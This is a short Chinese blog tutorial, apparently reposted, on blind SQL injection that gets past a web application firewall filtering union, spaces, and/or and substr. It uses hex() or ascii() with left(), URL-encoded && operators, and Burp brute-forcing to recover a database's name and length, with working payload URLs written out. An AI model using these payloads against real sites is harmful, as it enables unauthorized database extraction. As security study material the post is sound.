盲注 hex編碼繞waf(思路)


mysql分割函數有:substr、substring、left

 

當union、空格、and、or、注釋、substr被過濾的時候如下

 

 可嘗試用編碼進行繞過,如URLEncode編碼,ASCII,HEX,unicode編碼繞過,上面代碼沒有過濾left,可以用left加上hex進行繞過

這里通過測試語句判斷出是數字型注入

 

 

錯誤則不顯示,用盲注試一下,

 

 

判斷數據庫長度語句(模板):

/?id=1'%20 and (length(database()))=8--+

payload:

?id=1%26%26hex(length(database()))>5  //and=&&  &=%26  

通過二分法得出數據庫長度為:4

 

 

 

 

接下來判斷數據庫名:可通過burp抓包爆破,payload為:

?id=1%26%26hex(left(database(),1))=1    //(left(database(),1)   1表示數據庫名第一位
也可以用ascii,原理一樣:
?id=1%26%26ascii(left(database(),1))=116

 

第一個變量:數據庫長度

第二個變量:hex編碼 

 

payload options [Brute forcer] 最小長度為1,最大長度為8.

當然,最快的方法是爆出一位,填payload里再繼續爆破下一位。

 

 payload options [Brute forcer] 填8,是因為ascii編碼轉過來是2位,見下圖

 這種爆破方式較慢,沒爆破完,結果如下:

payload為:

?id=1%26%26hex(left(database(),1))=74    //數據庫第1位
?id=1%26%26hex(left(database(),2))=7469  //數據庫第2位
?id=1%26%26hex(left(database(),3))=746970 // 數據庫第3位  

 

 最后結果為:

 

 通過ascii與hex對照表得出數據庫名:tips

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM